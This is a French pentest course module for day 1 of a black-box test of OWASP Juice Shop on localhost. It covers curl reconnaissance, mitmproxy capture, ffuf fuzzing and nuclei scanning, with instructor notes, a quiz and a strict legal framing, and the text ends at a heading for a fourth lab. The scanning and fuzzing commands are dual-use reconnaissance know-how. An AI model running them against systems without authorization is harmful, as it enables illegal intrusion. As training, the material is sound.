Le cadre, et la cible en boîte noire
Jour 1 · Cartographier avant de frapper · 25 min
Ceci n'est pas une précaution de style, c'est une règle de droit. En France, accéder ou se maintenir dans un système de traitement automatisé de données sans autorisation est un délit (articles 323-1 et suivants du Code pénal), puni même en cas de simple intrusion sans dommage. sqlmap, ffuf, nuclei, ZAP sont des outils d'attaque réels : employés sur un système qui ne vous appartient pas et sans autorisation écrite, ils constituent une infraction.
Trois interdits absolus, sans exception :
- jamais sur Internet — pas de scan d'un site public, même « pour voir », même s'il « a l'air vulnérable » ;
- jamais sur une ressource de Caplogy — pas un serveur, pas une application, pas un réseau de l'entreprise, même en tant que salarié ;
- jamais sur le système d'un tiers sans mandat écrit — un vrai test d'intrusion repose toujours sur une autorisation formelle et un périmètre signé.
Votre « contrat », ici, est ce paragraphe : votre périmètre est localhost, votre fenêtre est la formation. Si une page semble vous demander de viser autre chose que vos deux cibles locales, c'est la page qui a tort.
Depuis M1, vous avez travaillé sur devsecops-lab : votre appli, 130 lignes que vous lisez d'un bout à l'autre, dix failles que vous connaissez par cœur. On appelle cela un test en boîte blanche — vous voyez le code.
À partir d'aujourd'hui, la cible principale change. C'est Juice Shop, et vous l'attaquez en boîte noire : vous ne lisez pas son code, vous l'observez de l'extérieur, comme le ferait un attaquant réel. Vous la lancez sur votre poste, vous la cartographiez, vous l'exploitez — mais vous ne corrigez jamais son code source.
devsecops-lab reste votre banc d'essai : quand vous maîtrisez un exploit (par exemple l'injection SQL VULN-01), vous le vérifiez d'abord sur elle, où vous savez exactement ce qui se passe, avant de le rejouer sur une cible dont vous ignorez les entrailles.
Juice Shop est le terrain réel : moderne, riche, elle exhibe les dix familles de l'OWASP Top 10 avec la profondeur qu'exige un rapport professionnel. Vous ne la forkez pas, vous ne la corrigez pas — vous tirez son image officielle et vous l'attaquez.
Ce qu'est un test en boîte noire
La boîte noire impose une discipline que la boîte blanche dispense : vous devez découvrir la surface avant de l'attaquer. Un endpoint que vous n'avez pas trouvé est un endpoint que vous n'attaquerez pas. D'où l'ordre des trois jours :
| Jour | Ce qu'on fait | Ce qui en sort |
|---|---|---|
| J1 · aujourd'hui | Reconnaissance et cartographie : trouver toute la surface, ffuf et nuclei, et la note qui prouve | un inventaire d'endpoints et de pistes tracé |
| J2 · demain | Exploiter l'OWASP Top 10 : injection, authentification, IDOR, SSRF, XXE — chacune avec sa preuve et sa remédiation | des findings démontrés |
| J3 · jeudi | Sécurité des API, puis rédaction du rapport professionnel | rapports/pentest-juice-shop.md — le livrable |
Le pentester travaille avec méthode, pas au hasard
Deux référentiels structurent la profession, et vous n'avez pas à choisir : l' OWASP Testing Guide dit quoi chercher (les familles de vulnérabilités), le PTES (Penetration Testing Execution Standard) dit dans quel ordre — reconnaissance, modélisation des menaces, exploitation, post-exploitation, rapport. Ce module suit cet enchaînement, appliqué à une seule application web.
« Boîte noire » veut dire que vous n'avez pas le code — pas que vous n'avez droit à rien. Vous avez un compte que vous créez vous-même, un navigateur, un proxy d'interception. Un attaquant réel aussi. La discipline consiste à noter ce que vous déduisez de l'extérieur, sans jamais supposer ce que vous n'avez pas observé.
Intention — rappeler le cadre légal (dernier critère de la revue de fin de module) et poser la bascule boîte blanche → boîte noire. Placée en ouverture parce que tout le module en dépend : Elie ne doit jamais viser autre chose que ses deux conteneurs locaux, et il doit comprendre que la boîte noire impose la reconnaissance.
Ce qui coince
- Le réflexe « je connais déjà Juice Shop, je fonce sur les exploits ». La boîte noire exige de cartographier d'abord — sinon le rapport de J3 aura des trous non justifiés.
- La règle de droit prise pour un avertissement générique. Signe : il lance un
nucleiou unffufvers un domaine public « juste pour tester l'outil ». À reprendre immédiatement, ce n'est pas négociable. - La confusion des deux cibles. S'il commence à vouloir corriger le code de Juice Shop, c'est le signe qu'il n'a pas intégré qu'on ne la possède pas.
Questions à anticiper
- « Puis-je scanner test.mosquitto.org / scanme.nmap.org / une cible d'entraînement en ligne ? » — non pour ce parcours. Ces cibles existent et sont légales par convention, mais la règle du parcours est
localhostuniquement ; le dire pour ne pas installer d'ambiguïté. - « Pourquoi ne pas tout faire sur devsecops-lab ? » — 130 lignes n'exhibent pas dix familles OWASP avec la richesse d'un vrai rapport ; c'est le rôle de Juice Shop.
Ce qu'il faut exiger — pas de livrable. Le signe à guetter : qu'il énonce sans hésiter le périmètre autorisé (ses deux ports locaux) et la raison d'attaquer en boîte noire. S'il ne sait pas dire ce que la reconnaissance lui apporte, le TP 1 sera vécu comme une formalité et la cartographie sera incomplète.
Reconnaissance, cartographie, et la note qui prouve
Jour 1 · Cartographier avant de frapper · 30 min
Un test d'intrusion se joue à ses deux extrémités. Au début, la reconnaissance : ce que vous ne trouvez pas, vous ne l'attaquerez pas. À la fin, le rapport : ce que vous n'avez pas noté n'existe pas. Entre les deux, l'exploitation n'est que la partie visible.
Reconnaissance ≠ cartographie
Deux gestes distincts, qu'on confond souvent :
| Reconnaissance | Cartographie | |
|---|---|---|
| Question | Qu'est-ce qui tourne ? | Quelle est toute la surface ? |
| Objet | Versions, technologies, en-têtes, points d'entrée visibles | Répertoires, paramètres, routes d'API cachées |
| Outils | Navigateur, curl -I, proxy d'interception, robots.txt | ffuf (fuzzing), nuclei (signatures), le crawler du proxy |
| Erreur type | Se fier à la page d'accueil et croire avoir tout vu | Fuzzer sans filtrer les réponses — on se noie dans le bruit |
Le proxy d'interception : votre carnet de trafic
Un navigateur vous montre les pages ; il vous cache les requêtes. Un proxy d'interception se place entre le navigateur et l'application et journalise chaque appel — c'est ainsi qu'on découvre les routes d'API qu'aucun lien ne montre. Le référentiel a tranché les outils : au lieu de Burp Suite Pro (payant), vous disposez de OWASP ZAP (le DAST du parcours, déjà rencontré en M2), Burp Community (proxy manuel, Repeater bridé) et mitmproxy pour l'inspection en ligne de commande.
Le programme déposé cite Burp Pro ; il est payant. Tout ce que ce module demande — intercepter, rejouer une requête modifiée, cartographier — se fait avec Burp Community, ZAP et mitmproxy, tous libres. On le dit explicitement pour que personne ne cherche une licence qu'il n'aura pas.
La discipline de la note : elle EST le test
C'est la leçon qu'aucun outil n'apprend et que tout rapport trahit. Un pentester passe plus de temps à écrire qu'à attaquer. La règle tient en trois points :
- Une preuve = une commande + sa sortie. Pas « le paramètre
qest injectable » mais la requête exacte et la réponse obtenue, horodatées. Trois jours plus tard, vous ne vous souviendrez plus, et un finding sans preuve rejouable n'est pas un finding, c'est une opinion. - Collez la sortie même quand elle est vide. «
nuclein'a rien remonté sur cette catégorie » est un résultat daté, pas une absence de résultat. - Séparez le brut du propre. Un fichier
artefacts/reçoit les sorties d'outils au fil de l'eau ; le rapport de J3 les met en forme. Ne rédigez jamais directement dans le rapport : vous perdriez la trace.
Votre dépôt devsecops-lab porte depuis M1 un dossier artefacts/ (non versionné, dans le .gitignore) et un dossier rapports/ (versionné). Le pentest de Juice Shop vit dans ces deux dossiers : les sorties brutes dans artefacts/, le rapport final dans rapports/pentest-juice-shop.md. Rien de nouveau à créer, tout est en place.
La faute qui se paie à J3 se commet ici, à J1 : attaquer sans noter, en se disant « je documenterai après ». Vous ne documenterez pas — vous aurez oublié quelle charge exacte avait marché, sur quel endpoint, à quelle heure. Prenez l'habitude dès la première commande : chaque sortie utile est collée dans artefacts/ avec la commande qui l'a produite. Test : ouvrez artefacts/ ; si vous ne pouvez pas rejouer un constat à partir de ce qui s'y trouve, la note n'est pas terminée.
Intention — installer la distinction reconnaissance/cartographie et surtout la discipline de note, qui est la vraie compétence du module. Le rapport de J3 n'est bon que si la note de J1 et J2 l'est ; c'est ici qu'on paie ou qu'on économise.
Ce qui coince
- « Je note après. » Le symptôme classique : à J3, il ne retrouve plus la charge exacte qui avait fonctionné et doit re-attaquer pour se souvenir. Couper court dès aujourd'hui.
- Le fuzzing sans filtrage : ffuf renvoie 10 000 lignes de 200/302 et il conclut que « tout existe ». La cartographie n'est utile que filtrée — c'est le TP 2.
- Confusion outils : il croit que ZAP/Burp remplacent ffuf/nuclei. Non — le proxy capture le trafic réel, ffuf/nuclei découvrent ce qu'aucun lien ne montre.
Questions à anticiper
- « ZAP ou Burp ou mitmproxy ? » — peu importe pour ce module ; qu'il en maîtrise un. mitmproxy est le plus rapide à scripter, ZAP le plus intégré au pipeline (déjà vu en M2), Burp Community le plus proche des tutoriels du web.
- « Pourquoi noter une sortie vide ? » — parce qu'un rapport doit dire ce qui a été testé et n'a rien donné ; sinon le lecteur ne sait pas si c'est sûr ou non testé.
Ce qu'il faut exiger — qu'il distingue les deux gestes et qu'il ait ouvert artefacts/ avant de lancer quoi que ce soit. Le critère qui sépare « il a compris » de « il a lu » : qu'il colle spontanément une sortie vide comme un résultat.
Quiz — Cadre et méthode
Jour 1 · Cartographier avant de frapper · 10 min
1. Vous voulez essayer nuclei avant le TP. Sur quelle cible avez-vous le droit de le lancer, dans le cadre de ce parcours ?
2. Pourquoi vérifier un exploit d'injection SQL sur devsecops-lab avant de le porter sur Juice Shop ?
3. Quelle est la différence entre reconnaissance et cartographie ?
4. À quoi sert un proxy d'interception que le navigateur seul ne fournit pas ?
5. Un finding de votre rapport indique « le paramètre q est vulnérable au XSS ». Que lui manque-t-il pour être un finding et non une opinion ?
Après correction, reprenez à voix haute chaque question manquée et dites pourquoi l'option cochée était fausse — si vous ne pouvez pas le formuler sans relire l'explication, ce n'est pas acquis. q1 en particulier n'est pas un détail : elle décide de ce que vous avez le droit de taper dans les trois prochains jours.
Intention — verrouiller deux acquis avant de lâcher Elie en TP : le périmètre légal (q1) et la nature d'un finding (q5). Les trois autres questions séparent la répartition des cibles (q2), la distinction recon/cartographie (q3) et le rôle du proxy (q4).
Ce qui coince
- q1 ratée est la plus grave du module : elle annonce qu'il pourrait viser une cible en ligne. À reprendre séance tenante, ce n'est pas une nuance pédagogique.
- q5 ratée signale un rapport de J3 qui sera une liste d'affirmations sans preuve. Reprendre la discipline de note de la leçon L2.
- q2 ratée dans le sens « devsecops-lab plus récente » : il n'a pas saisi que le banc d'essai sert de repère connu, pas de cible principale.
Questions à anticiper
- « scanme.nmap.org est pourtant fait pour ça ! » — vrai dans l'absolu, faux pour ce parcours. Distinguer la légalité générale de la règle locale du parcours.
- « Un finding sans remédiation reste utile, non ? » — il documente, mais le référentiel exige les deux ; un client paie pour savoir comment fermer, pas seulement qu'il y a un trou.
Ce qu'il faut exiger — 4/5 minimum, avec q1 et q5 impérativement justes. Un score correct mais q1 fausse ne se laisse pas passer : on ne part pas en TP offensif sans le périmètre parfaitement clair.
TP 1 — Lancer la cible et la cartographier à la main
Jour 1 · Cartographier avant de frapper · 1 h 30
Déployer Juice Shop en local, capter son trafic au proxy et dresser l'inventaire des endpoints — la fondation de tout le reste.
Tout ce TP vise http://localhost:3000 (Juice Shop) et http://localhost:5000 (devsecops-lab), sur votre poste. Aucune commande de ce module ne doit sortir de localhost.
Le réseau Docker dso-net existe depuis M1. Vérifiez-le (docker network ls | grep dso-net) ; s'il manque, docker network create dso-net.
- Remettez la cible en route. Le conteneur existe depuis le 3 août : vous l'avez créé au module 1 et arrêté chaque soir. Un
docker runsec échouerait sur name already in use — la forme ci-dessous démarre l'existant et ne le recrée que s'il a disparu. L'image est épinglée : la même version depuis le premier jour, donc exactement les mêmes failles. Juice Shop met ~20 s à démarrer.docker start juice-shop 2>/dev/null || \ docker run -d --name juice-shop --network dso-net \ -p 3000:3000 bkimminich/juice-shop:v17.3.0 # attendre le demarrage, puis verifier que la page repond sleep 20 curl -s -o /dev/null -w 'juice-shop %{http_code}\n' http://localhost:3000/ - Si vous avez dû recréer le conteneur, sachez ce que vous venez de perdre : Juice Shop garde son état en mémoire, donc les comptes, les commandes et la progression du 3 août ont disparu. Sans conséquence pour ce module — vous partez de la boîte noire — mais notez-le : c'est le même raisonnement que pour un environnement d'attaque jetable.
- Vous devez lire
juice-shop 200. Ouvrezhttp://localhost:3000dans votre navigateur : la boutique s'affiche. Ne cliquez pas au hasard — vous allez d'abord regarder comment elle parle au serveur. - Commencez la reconnaissance par les en-têtes et les fichiers publics. Ces trois commandes sont vos premières lignes de note : collez chaque sortie dans
artefacts/recon-juice-shop-2026-08-18.txt.curl -sI http://localhost:3000/ | tee -a artefacts/recon-juice-shop-2026-08-18.txt curl -s http://localhost:3000/robots.txt # la page d'accueil charge un bundle JS : reperez-y la version et les routes d'API curl -s http://localhost:3000/ | grep -oE 'main[^"]*\.js' | head - Notez ce que révèle
robots.txt: il mentionne/ftp. Un répertoire qu'un fichier destiné aux robots pointe du doigt est toujours à visiter — c'est du renseignement offert. - Visitez ce répertoire. Une boutique ne devrait pas exposer un serveur de fichiers.
curl -s http://localhost:3000/ftp/ | grep -oE 'href="[^"]+"' | head -20 - Vous voyez une liste de fichiers (documents légaux, sauvegardes). C'est votre premier constat de reconnaissance : exposition de fichiers internes. Notez-le avec l'URL exacte — vous le coterez en finding plus tard.
- Passez à la cartographie du trafic réel. Lancez mitmproxy en mode transparent de capture, ou configurez ZAP en proxy. Voici la voie mitmproxy, la plus rapide à scripter. Il écoute sur 8080 ; pointez votre navigateur (ou curl) dessus.
# terminal A : lancer le proxy qui journalise tout dans un fichier mitmdump --set confdir=~/.mitmproxy -p 8080 -w artefacts/juice-trafic.flows # terminal B : router quelques requetes a travers le proxy curl -s -x http://localhost:8080 http://localhost:3000/rest/products/search?q=apple >/dev/null curl -s -x http://localhost:8080 http://localhost:3000/api/Products >/dev/null curl -s -x http://localhost:8080 http://localhost:3000/rest/user/whoami >/dev/null - Rejouez le fichier capturé pour lire les routes touchées. Vous découvrez la double façade de l'application :
/rest/...et/api/.... Aucun lien de page ne les nomme — c'est le proxy qui les a révélées. - Relisez le trafic hors ligne et extrayez la liste des chemins vus. C'est le squelette de votre carte.
mitmdump -nr artefacts/juice-trafic.flows \ --set flow_detail=1 2>/dev/null | grep -oE '(GET|POST) https?://[^ ]+' - Créez maintenant, à la main, la première version de votre carte dans
artefacts/endpoints.md: un tableau avec, pour chaque endpoint trouvé, la méthode HTTP, le chemin, ce que vous croyez qu'il fait, et si un paramètre y semble manipulable. Cette carte grandira avec ffuf (TP 2) et nuclei (TP 3). - Dernier réflexe : créez un compte sur la boutique (bouton « Account » puis « Not yet a customer? »). Un attaquant en boîte noire commence toujours par obtenir un compte légitime — c'est depuis l'intérieur, avec des droits d'utilisateur ordinaire, que se trouvent l'IDOR et l'élévation de privilèges de demain.
- Le fichier
robots.txtvous a mené à/ftp. En quoi ce fichier, censé « protéger » un site, aide-t-il au contraire l'attaquant ? - Vous avez trouvé les routes
/restet/apipar le proxy, pas par le navigateur. Qu'est-ce que cela dit de la surface d'attaque réelle d'une application web moderne ? - Pourquoi créer un compte utilisateur ordinaire est-il un préalable à la recherche d'IDOR, plutôt qu'une étape secondaire ?
Deux pièges d'installation. D'abord, Juice Shop met une vingtaine de secondes à démarrer : un curl lancé trop tôt renvoie 000 ou connection refused, ce n'est pas une panne, attendez. Ensuite, si docker run répond que le nom juice-shop est déjà pris, le conteneur existe déjà : docker ps -a puis docker start juice-shop — ne le recréez pas à chaque fois. Test de fin de TP : ouvrez artefacts/endpoints.md ; si vous ne pouvez pas dire, pour trois endpoints, ce qu'ils font et par où les attaquer, la carte n'est pas prête pour demain.
Intention — produire la fondation de tout le module : Juice Shop déployée en version épinglée, et une première carte des endpoints construite par capture réelle, pas par supposition. C'est l'équivalent du TP 1 de M5 IoT (auditer avant de corriger) : on cartographie avant d'exploiter.
Ce qui coince
- Le
curllancé avant la fin du démarrage (~20 s) :000pris pour une image cassée. Le faux négatif le plus fréquent du TP. - Le proxy non pris en compte : sous macOS, un
curl -xexplicite est plus sûr qu'une configuration système du proxy. S'il « ne voit rien passer », vérifier qu'il route bien à travers le proxy. - La carte réduite à une capture d'écran : exiger un tableau texte, cherchable, réutilisable demain. Une capture n'est pas une carte.
- Recréer le conteneur au lieu de le redémarrer : perte de l'état (compte créé, panier).
docker start, pasdocker run.
Questions à anticiper
- « mitmproxy affiche des erreurs TLS. » — normal en HTTP simple sur localhost ; pour du HTTPS il faudrait installer le certificat mitmproxy, inutile ici puisque Juice Shop répond en HTTP sur 3000.
- « Pourquoi un compte, on n'attaque pas encore ? » — la moitié des findings de demain (IDOR, BOLA, panier d'autrui) exige un compte de base ; le créer maintenant évite de s'interrompre en plein exploit.
Ce qu'il faut exiger — artefacts/endpoints.md avec au moins /ftp, /rest/products/search, /api/Products, /rest/user/login et une route /api/Users ou /rest/basket. Le critère « il a compris » : qu'il ait trouvé /rest et /api par le proxy et sache dire qu'aucun lien ne les montrait.
TP 2 — Fuzzing de contenu et de paramètres (ffuf)
Jour 1 · Cartographier avant de frapper · 1 h 15
Débusquer les chemins et paramètres qu'aucun lien ne montre, et surtout apprendre à filtrer le bruit — sans quoi le fuzzing ne dit rien.
ffuf envoie une requête par mot d'une liste, en remplaçant le marqueur FUZZ par chaque mot, et vous montre les réponses. C'est puissant et bruyant : la compétence n'est pas de lancer ffuf, c'est de filtrer ses réponses pour ne garder que le signal. Installé au module d'accueil (brew install ffuf) ; vérifiez avec ffuf -V.
- Créez d'abord une petite liste de mots. En engagement réel vous utiliseriez SecLists (des dizaines de milliers d'entrées) ; ici une liste courte suffit à comprendre le mécanisme et reste reproductible hors ligne.
mkdir -p artefacts cat > artefacts/mots.txt <<'EOF' ftp rest api assets metrics robots.txt sitemap.xml admin administration profile snippets redirect b2b promotion video EOF - Lancez ffuf naïvement, en ne gardant que les codes « intéressants ». Regardez le résultat avant de lire la suite : il est trompeur.
ffuf -w artefacts/mots.txt \ -u http://localhost:3000/FUZZ \ -mc 200,301,302,403 - Surprise : presque tout renvoie 200. Ce n'est pas que tout existe — Juice Shop est une application monopage (Angular) qui répond
200avec la même page d'accueil pour presque toute URL inconnue. C'est un faux 404 : le serveur ne dit pas « absent », il sert son index. Filtrer par code de statut ne sert donc à rien ici. C'est LA leçon du fuzzing web moderne. - La parade : filtrer par taille de réponse, ou mieux, laisser ffuf calibrer automatiquement la réponse « normale » et écarter tout ce qui lui ressemble. C'est l'option
-ac(auto-calibration).ffuf -w artefacts/mots.txt \ -u http://localhost:3000/FUZZ \ -ac \ -o artefacts/ffuf-dirs.json -of json - Cette fois, seules les vraies découvertes ressortent —
/ftp,/rest,/api,/metrics,/assets— parce que leurs réponses diffèrent de la page d'accueil calibrée. Ouvrezartefacts/ffuf-dirs.json: c'est une preuve datée, pas une capture d'écran. - Vérifiez une découverte à la main.
/metricssur une boutique, c'est inhabituel — un endpoint de supervision Prometheus exposé sans authentification.curl -s http://localhost:3000/metrics | head -20 - Vous lisez des métriques internes (mémoire, requêtes, versions). Constat de reconnaissance : endpoint de supervision exposé. Ajoutez-le à
artefacts/endpoints.mdavec la commande qui le prouve. - Passez au fuzzing de paramètres. Un endpoint peut accepter des paramètres qu'aucune documentation ne liste ; les découvrir, c'est trouver des points d'injection cachés. On mesure d'abord la taille d'une réponse « paramètre inconnu » pour savoir quoi filtrer.
# reponse de reference avec un parametre bidon curl -s 'http://localhost:3000/rest/products/search?xyz=1' | wc -c # puis fuzzer les NOMS de parametres, en filtrant la taille de reference # (remplacez 1234 par la taille obtenue ci-dessus) ffuf -w artefacts/mots.txt \ -u 'http://localhost:3000/rest/products/search?FUZZ=test' \ -fs 1234 - Le paramètre
qn'est pas dans votre petite liste, mais vous le connaissez déjà du TP 1 (search?q=). Ajoutezqàmots.txtet relancez : sa réponse diffère, il ressort. Vous venez de retrouver, par une méthode systématique, le paramètre que vous exploiterez en injection demain. - Consolidez : votre
artefacts/endpoints.mddoit maintenant porter chaque chemin trouvé, sa source (proxy, ffuf, robots), et une colonne « à tester » pour les paramètres suspects. Un commit surdevsecops-labavec ces artefacts (ils sont dans.gitignore, maisendpoints.mdpeut aller dansrapports/si vous voulez le versionner).
- Filtrer par code de statut n'a rien donné sur Juice Shop. Pourquoi les applications monopages rendent-elles le fuzzing par statut inopérant, et qu'est-ce qui le remplace ?
- L'auto-calibration
-aca « deviné » la réponse normale. Dans quel cas pourrait-elle se tromper et masquer une vraie découverte ? - Vous avez retrouvé le paramètre
qpar fuzzing alors que vous le connaissiez déjà. Quel intérêt à le redécouvrir par une méthode systématique plutôt que de mémoire ?
Le moment où l'on croit que ffuf est cassé : tout renvoie 200 et la liste est illisible. Ce n'est pas ffuf, c'est l'application monopage qui sert son index pour tout. Le réflexe est -ac (ou -fs avec la taille de la page d'accueil) — jamais -mc seul sur une SPA. Deuxième piège : une liste de mots trop courte ne trouve que ce qu'on y a mis ; c'est voulu ici pour rester hors ligne, mais dites-le dans votre note, sinon votre rapport laissera croire que la surface est plus petite qu'elle ne l'est. Test : vous devez pouvoir expliquer pourquoi -mc 200 est inutile sur cette cible et -ac pertinent.
Intention — enseigner le filtrage, pas la commande. Le faux 404 des SPA est la vraie leçon : sans lui, tout fuzzing web moderne produit du bruit et une conclusion fausse (« tout existe »). Le fuzzing de paramètres prépare les points d'injection de demain.
Ce qui coince
- La conclusion « tout renvoie 200 donc tout existe ». C'est l'erreur à provoquer puis corriger : l'étape 2 est volontairement naïve, l'étape 4 donne la parade. S'il saute l'étape 2, il n'apprend rien.
-acconfondu avec « ça marche tout seul ». L'auto-calibration peut masquer une découverte dont la taille coïncide avec la page normale ; c'est la question de réflexion 2, à ne pas éluder.- Wordlist courte prise pour la surface réelle. À rappeler : ici on privilégie le hors-ligne ; en réel, SecLists. La note doit le dire.
Questions à anticiper
- « Où est SecLists ? » — pas installé pour rester reproductible hors réseau ; la liste maison suffit à la démonstration. S'il veut aller plus loin,
brew install seclistsou le dépôt GitHub, en notant que c'est optionnel. - « ffuf en docker plutôt qu'en brew ? » — possible via
ffuf/ffuf:v2.1.0surdso-neten visanthttp://juice-shop:3000; le binaire brew visantlocalhost:3000est plus simple sous macOS.
Ce qu'il faut exiger — artefacts/ffuf-dirs.json produit avec -ac, et qu'il sache expliquer pourquoi -mc 200 était inutile. Le critère qui sépare « il a compris » : qu'il ait vu de lui-même que /metrics exposé est un constat, pas un bruit.
nuclei : la puissance et la limite des signatures
Jour 1 · Cartographier avant de frapper · 20 min
ffuf découvre des chemins ; il ne dit rien de ce qu'ils valent. nuclei va plus loin : il envoie des requêtes conçues pour reconnaître des vulnérabilités connues et des mauvaises configurations, à partir d'une bibliothèque de milliers de templates — des signatures écrites en YAML par la communauté.
Ce qu'un template décrit
Un template dit : « envoie telle requête ; si la réponse contient tel motif ou renvoie tel code, c'est telle faiblesse ». Panneaux d'administration exposés, fichiers de configuration accessibles, versions à CVE connue, en-têtes de sécurité manquants, fuites de jetons : tout ce qui a une signature stable.
Là où vous testeriez un point à la main, nuclei en teste des milliers en quelques minutes. C'est l'outil idéal pour ne rien manquer de ce qui est déjà catalogué : les erreurs de configuration classiques, les technologies obsolètes, les secrets exposés.
nuclei ne « comprend » rien. Il ne trouvera jamais une faille de logique métier — un IDOR sur votre panier, une élévation de privilège par un champ caché, un enchaînement d'appels qui contourne un contrôle. Ces failles n'ont pas de signature parce qu'elles dépendent du sens de votre application. C'est exactement ce que vous exploiterez à la main demain, et c'est pourquoi un scanner ne remplacera jamais un pentester.
La place de nuclei dans votre méthode
nuclei complète la cartographie : il confirme et enrichit ce que ffuf et le proxy ont trouvé, et il ajoute une couche de vérifications connues. Ce qu'il remonte est du signal pré-mâché — à vérifier à la main avant d'en faire un finding, jamais à recopier tel quel. Un scanner qui « trouve » n'a rien prouvé tant que vous n'avez pas rejoué son constat.
| Outil | Trouve | Ne trouve pas |
|---|---|---|
ffuf | Des chemins et paramètres inconnus | Ce qu'ils valent |
nuclei | Des faiblesses cataloguées (config, CVE, exposition) | La logique métier (IDOR, BOLA, enchaînements) |
| Vous, à la main | La logique métier et les enchaînements | Rien — c'est vous qui décidez ce qui est une vulnérabilité |
Intention — cadrer nuclei comme un amplificateur de cartographie, pas comme le test lui-même. Le message central : un scanner trouve le catalogué, jamais la logique métier. C'est ce qui justifie les TP manuels de demain et évite le rapport « j'ai lancé nuclei, voici la sortie ».
Ce qui coince
- La tentation de considérer la sortie nuclei comme le rapport. Un scan n'est pas un pentest ; c'est un point de départ à vérifier.
- Croire que « pas de finding nuclei » = « sûr ». nuclei ne voit pas l'IDOR ni la BOLA de demain : l'absence de signature n'est pas l'absence de faille.
Questions à anticiper
- « Pourquoi ne pas tout automatiser avec nuclei ? » — parce que les failles qui coûtent le plus cher (logique métier) n'ont pas de signature. Faire lister par Elie une faille de demain que nuclei manquera.
- « Faut-il écrire ses propres templates ? » — hors périmètre de ce module ; le signaler comme une compétence avancée, sans TP.
Ce qu'il faut exiger — qu'il énonce une faille que nuclei ne peut structurellement pas trouver, et pourquoi. Sans cela, le TP 3 sera une exécution passive et le rapport confondra scan et test.
TP 3 — Scan par templates avec nuclei
Jour 1 · Cartographier avant de frapper · 1 h 15
Passer Juice Shop au crible des signatures connues, vérifier chaque remontée à la main, et enrichir la carte — sans confondre scan et preuve.
On lance nuclei via son image épinglée sur le réseau dso-net : il joint la cible par son nom de conteneur, http://juice-shop:3000, pas par localhost (qui, dans un conteneur, désigne le conteneur lui-même).
Au tout premier lancement, nuclei télécharge sa bibliothèque de templates : cela demande une connexion, une seule fois. Une fois les templates en cache, les scans suivants tournent hors ligne.
- Lancez un premier scan large, en écrivant le résultat en JSON-lignes dans
artefacts/. On monte le dossier pour récupérer la sortie.docker run --rm --network dso-net \ -v "$(pwd)/artefacts":/out \ projectdiscovery/nuclei:v3.3.0 \ -u http://juice-shop:3000 \ -jsonl -o /out/nuclei.jsonl - Le scan défile et remonte des lignes classées par sévérité (
info,low,medium…). Attendez la fin. Chaque ligne du fichierartefacts/nuclei.jsonlest un objet JSON : un template déclenché, l'URL touchée, la preuve extraite. - Lisez la sortie proprement. Ce court script imprime, pour chaque remontée, sa sévérité, le template déclenché et l'URL touchée.
python3 - <<'PY' import json for line in open("artefacts/nuclei.jsonl"): o = json.loads(line) sev = o.get("info", {}).get("severity", "?") print(f'{sev:9} {o.get("template-id", "?"):34} {o.get("matched-at", "")}') PY - Vous retrouvez, catalogués, des constats que vous aviez déjà (le serveur de fichiers, l'endpoint de métriques) et d'autres nouveaux : détection de technologie, en-têtes de sécurité manquants, éventuellement une fuite d'information. C'est le signal pré-mâché de la leçon — utile, mais pas encore prouvé.
- Ciblez ensuite un scan plus utile en filtrant par sévérité, pour vous concentrer sur ce qui compte et écarter les dizaines de remontées
info.docker run --rm --network dso-net \ -v "$(pwd)/artefacts":/out \ projectdiscovery/nuclei:v3.3.0 \ -u http://juice-shop:3000 \ -severity medium,high,critical \ -jsonl -o /out/nuclei-medium-plus.jsonl - Prenez maintenant une remontée et vérifiez-la à la main. Par exemple, si nuclei signale des en-têtes de sécurité manquants, confirmez-le vous-même : la preuve d'un finding, c'est votre commande, jamais celle du scanner.
- Vérification manuelle des en-têtes de sécurité — comparez ce que renvoie la cible à ce qu'on attend (
Content-Security-Policy,X-Frame-Options,Strict-Transport-Security).curl -sI http://localhost:3000/ \ | grep -iE 'content-security|x-frame|strict-transport|x-content-type' \ || echo 'aucun en-tete de securite renvoye' - Le résultat (souvent : aucun de ces en-têtes) est votre preuve, datée et rejouable. C'est cela qui ira dans le rapport — pas « nuclei a dit que ».
- Enrichissez
artefacts/endpoints.md: pour chaque remontée nuclei que vous avez vérifiée, ajoutez une ligne avec le template, votre commande de vérification et son résultat. Marquez explicitement « non vérifié » celles que vous n'avez pas confirmées — elles ne pourront pas devenir des findings en l'état. - Bilan de la journée de cartographie : vous avez trois sources qui se recoupent — le proxy (trafic réel), ffuf (chemins et paramètres), nuclei (signatures connues). Ce qui apparaît dans les trois est solide ; ce qui n'apparaît que dans nuclei reste à vérifier ; ce que vous seul avez déduit (logique métier) sera le travail de demain.
- nuclei et ffuf ont tous deux « trouvé »
/ftpet/metrics. Qu'apporte le recoupement de deux outils sur un même constat ? - Vous avez marqué certaines remontées nuclei « non vérifié ». Pourquoi est-ce plus honnête que de les mettre en findings, et que risque un rapport qui recopie un scanner ?
- nuclei n'a signalé aucune faille de logique métier. Est-ce parce que Juice Shop n'en a pas, ou parce que nuclei ne sait pas les voir ? Comment le sauriez-vous ?
Deux points qui bloquent. Le premier scan télécharge les templates : sans réseau à ce moment-là, nuclei se plaint de ne pas les trouver — lancez-le une fois connecté, ensuite c'est hors ligne. Et depuis le conteneur, la cible est http://juice-shop:3000, pas localhost : un connection refused vient presque toujours de là. Le piège de fond, lui, est de recopier la sortie nuclei dans le rapport : une remontée de scanner n'est pas un finding tant que vous ne l'avez pas rejouée vous-même. Test : pour chaque ligne que vous gardez, vous devez avoir votre propre commande de vérification à côté.
Intention — faire tourner nuclei correctement (réseau dso-net, templates en cache) et surtout imposer la vérification manuelle : la sortie d'un scanner est un point de départ, jamais un finding. C'est la discipline qui distingue un rapport pro d'un copier-coller de scan.
Ce qui coince
localhostdepuis le conteneur :connection refused. La cible estjuice-shop:3000sur dso-net. Faux négatif le plus fréquent.- Premier scan sans réseau : templates absents. Une fois en cache, hors ligne. Le dire avant qu'il ne conclue que l'outil est cassé.
- La sortie nuclei recopiée telle quelle dans le rapport. C'est le travers central du TP : exiger une commande de vérification par remontée conservée.
- Se noyer dans les remontées
info: d'où le second scan filtré-severity.
Questions à anticiper
- « nuclei n'a rien trouvé de grave, la cible est donc sûre ? » — non : il ne voit pas la logique métier. Le lui faire dire, c'est la réflexion 3.
- « Le pipe Python est illisible. » — l'objectif est de lire le JSONL ; s'il préfère
jq(jq -r '.info.severity+" "+."template-id"'), c'est très bien, à condition que jq soit installé.
Ce qu'il faut exiger — artefacts/nuclei.jsonl produit, et au moins une remontée vérifiée à la main avec sa propre commande. Le critère « il a compris » : qu'il ait marqué « non vérifié » ce qu'il n'a pas confirmé, au lieu de tout promouvoir en finding.
TP 4 — Le carnet de reconnaissance : la matière du rapport
